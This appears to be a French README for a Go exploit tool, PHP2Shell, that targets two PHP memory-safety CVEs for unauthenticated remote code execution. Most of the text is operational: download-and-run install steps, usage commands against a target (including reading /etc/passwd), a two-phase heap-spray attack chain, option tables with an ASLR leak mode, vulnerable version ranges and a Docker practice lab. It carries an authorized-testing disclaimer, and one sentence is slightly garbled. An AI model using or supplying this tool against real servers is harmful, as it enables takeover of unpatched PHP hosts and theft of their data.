
[PHP2Shell] Exploit en Golang pour CVE-2026-109618 / CVE-2026-109619 : RCE non authentifiée dans PHP 5.4–8.5.11 via corruption OOM + UAF de session.upload_progress
Exécution de code à distance non authentifiée dans PHP 5.4.0 – 8.5.11 (tous les serveurs web).
CVSS 9.2 Critique · Corrigé le 2026-10-21 · CISA KEV 2026-10-26
Pour les tests de sécurité autorisés uniquement — sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester.
go install (le plus rapide, nécessite Go 1.22+)go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest
CVE-2026-109618-exploit -target http://TARGET -cmd "id"
Pas de Go installé ? Installez-le en 30 secondes :
# Debian / Ubuntu / Kali
sudo apt install -y golang-go
# then run go install as above
Des binaires précompilés sont joints à chaque GitHub Release.
# Linux x86-64 (Kali, Ubuntu, Debian, …)
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# Linux ARM64
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-linux-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Apple Silicon
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-arm64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
# macOS Intel
curl -Lo exploit \
https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/latest/download/exploit-darwin-amd64
chmod +x exploit && ./exploit -target http://TARGET -cmd "id"
Les binaires sont générés automatiquement par GitHub Actions lorsqu'un nouveau tag est poussé.
Sicurlrenvoie un petit fichier indiquant « Not found », aucune release n'existe encore — utilisez plutôt l'option A.
git clone https://github.com/IamLucif3r/CVE-2026-109618-exploit
cd CVE-2026-109618-exploit
make all # start lab + run exploit in one shot
make exploit # run exploit against lab (localhost:8888)
make exploit CMD="cat /etc/passwd"
make exploit CMD="uname -a"
make exploit TARGET=http://192.168.1.10 CMD="whoami"
PHP possède deux bugs critiques de sûreté mémoire déclenchés par des requêtes HTTP POST multipart/form-data forgées :
| CVE | Type | Déclencheur |
|---|---|---|
| CVE-2026-109618 | Corruption mémoire (OOM) | De grands champs multipart épuisent memory_limit en pleine analyse, longjmp() se déclenche sur un état partiellement initialisé |
| CVE-2026-109619 | Use-after-free | Le champ PHP_SESSION_UPLOAD_PROGRESS lit la mémoire libérée d'un worker issue d'une requête précédente |
Aucun des deux bugs ne nécessite d'authentification, d'endpoint spécial ou de code applicatif — ils se déclenchent à l'intérieur du moteur PHP avant l'exécution de tout script .php.
Voir docs/vulnerability.md pour l'analyse technique complète avec les requêtes HTTP annotées.
Phase 1 (CVE-2026-109618)
Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()
→ worker's internal session/decoder state freed but NOT zeroed
→ stale pointers remain in the PHP worker heap
same worker process ↓
Phase 2 (CVE-2026-109619)
POST with Cookie: PHPSESSID=<random>
+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code
+ 128 KB file upload (fake PHP zval structs)
→ upload progress handler dereferences stale pointer → UAF
→ heap spray reclaims freed region → controlled write → RCE
| Option | Valeur par défaut | Description |
|---|---|---|
-target | requis | URL de base, par ex. http://192.168.1.10 |
-path | /index.php | Chemin du point de terminaison PHP |
-cmd | id | Commande système à exécuter |
-mode | auto | auto / modphp / fpm |
-workers | 8 | Emplacements de workers à inonder |
-oom-parts | 30 | Champs multipart en phase 1 |
-part-size | 204800 | Octets par champ (200 Ko) |
-spray-size | 131072 | Taille du heap spray (128 Ko) |
-timeout | 15s | Délai d'expiration par requête |
-verbose | false | Afficher le corps brut de la réponse |
-leak-only | false | Fuite mémoire uniquement (analyse ASLR) |
| Branche | Dernière version vulnérable | Corrigée dans |
|---|---|---|
| PHP 8.2 | 8.2.34 | 8.2.35 |
| PHP 8.3 | 8.3.35 | 8.3.36 |
| PHP 8.4 | 8.4.26 | 8.4.27 |
| PHP 8.5 | 8.5.11 | 8.5.12 |
| PHP ≤ 8.1 | toutes | aucun correctif amont — utiliser le backport de la distribution |
Le répertoire sandbox/ contient une cible vulnérable prête à l'emploi (PHP 8.4.26 + Apache mod_php) avec les paramètres par défaut qui exposent les deux CVE.
cd sandbox
docker compose up -d # starts on :8888
open http://localhost:8888 # attack surface dashboard
docker compose down
make show all commands
make all start lab + run exploit (one shot)
make lab start Docker lab
make lab-stop stop Docker lab
make lab-logs tail Apache/PHP error logs live
make lab-shell open bash inside the container
make exploit build & run against lab
make exploit-fpm FPM mode, 16 workers
make leak memory leak mode (ASLR analysis)
make build build binary only